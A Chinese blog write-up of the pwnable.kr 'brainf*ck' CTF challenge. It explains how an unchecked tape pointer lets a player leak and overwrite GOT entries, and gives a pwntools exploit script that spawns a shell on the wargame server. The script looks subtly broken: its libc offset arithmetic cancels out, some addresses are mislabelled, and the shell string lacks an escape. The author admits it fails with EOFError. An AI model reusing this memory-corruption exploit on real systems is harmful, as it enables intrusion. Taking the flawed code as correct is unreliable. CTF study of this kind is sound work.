zoukankan      html  css  js  c++  java
  • pwnable.kr之brainf*ck

    pwnable.kr之brainf*ck

    今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获。

    不多说了,今天看的是第二关的第一道题:brainf*ck。这道题实现了一个brainfuck解释器,从思路上来讲可以说是很秀了,核心思想是通过对指针的操作来改写got.plt表,从而劫持数据流。程序结构比较简单,我们先通过IDA看一下程序的结构。

    brainf*ck这个函数里面,如果输入是一些特殊符号,会对p这个指针进行一个操作,p这个指针位于bss段。

    这里看到不仅有一个p指针,还有一个tape指针,tape这个指针我们通过静态分析没办法直观的知道他的作用,这时候用gdb动态调试一下,在brainfuck函数的break处下一个断点,然后只输入一下特定的几个字符,只观察bss段的内容,就可以清晰地看出:p指针处存放的是tape的地址,tape处存放的是值。brainfuck里面,">","<"是对p指针进行操作,“+”,“-”是对指针指向的地址上的值进行操作。

    到这里我没有思路,卡住了。

    这里我觉得这道题的精华来了:可输入空间很大,但是got.plt表和bss段之间的距离很小,同时,它让我们可以对指针进行操作,但是没有规定操作的范围。所以,可以通过do_brainfunck函数来修改got.plt表的内容。

    覆写got表那里,应该是这样的操作:,>

    写入一个值,然后指针移动一个字节,写入下一个字节

    泄露地址的时候,应该是这样的操作:.>

    输出一个值,然后指针移动一个字节,输出下一个字节

    程序在进入do_brainfuck函数之前,调用过puts函数的地址,所以got.plt表中有puts函数的实际地址

    from pwn import *
    
    context.log_level='debug'
    DEBUG=1
    if DEBUG:
        io=process('./bf')
    else:
        io=remote('pwnable.kr',9001)
    
    elf=ELF('./bf')
    libc=ELF('./bf_libc.so')
    
    tape_addr=0x0804A0A0
    fgets_addr=0x08048450
    main_addr=0x08048671
    strlen_addr=0x0804A020
    putchar_addr=0x0804A030
    memset_addr=0x0804A02C
    
    gets_sym=libc.sym['gets']
    system_sym=libc.sym['system']
    puts_sym=libc.sym['puts']
    
    payload=''
    payload+='<'*(tape_addr-putchar_addr)
    payload+='.'
    payload+='.>.>.>.>'
    payload+='<<<<'+',>,>,>,>'
    payload+='<<<<'*4+',>,>,>,>'+'<<<<'
    payload+='<'*(strlen_addr-fgets_addr)+',>,>,>,>'
    payload+='<'*(putchar_addr-fgets_addr+4)
    payload+='.'
    
    io.recv()
    io.send(payload)
    io.recv(1)
    putchar_addr=u32(io.recv(4))
    offset1=system_sym-putchar_addr
    offset2=gets_sym-putchar_addr
    system_addr=putchar_addr+offset1
    gets_addr=putchar_addr+offset2
    io.send(p32(main_addr))
    io.send(p32(gets_addr))
    io.send(p32(system_addr))
    
    io.sendline('/bin/shx00')
    io.interactive()

    发送地址的时候有EOFError的问题,还没有想明白,根据别人的wp复现了。

    先放在这里,看看有哪位路过的师傅能不能帮我解答,或者以后我想明白了再改吧。

  • 相关阅读:
    Numpy入门
    Numpy入门
    Spring源码之IoC原理
    LeetCode之连续子数组的最大和
    剑指Offer之从1到n整数中1出现的次数
    剑指Offer之最小的k个数
    剑指Offer之字符串的排列
    剑指Offer之二叉搜索树与双向链表
    剑指Offer之二叉树中和为某一值的路径
    剑指Offer之二叉搜索树的后序遍历序列
  • 原文地址:https://www.cnblogs.com/L0g4n-blog/p/12909752.html
Copyright © 2011-2022 走看看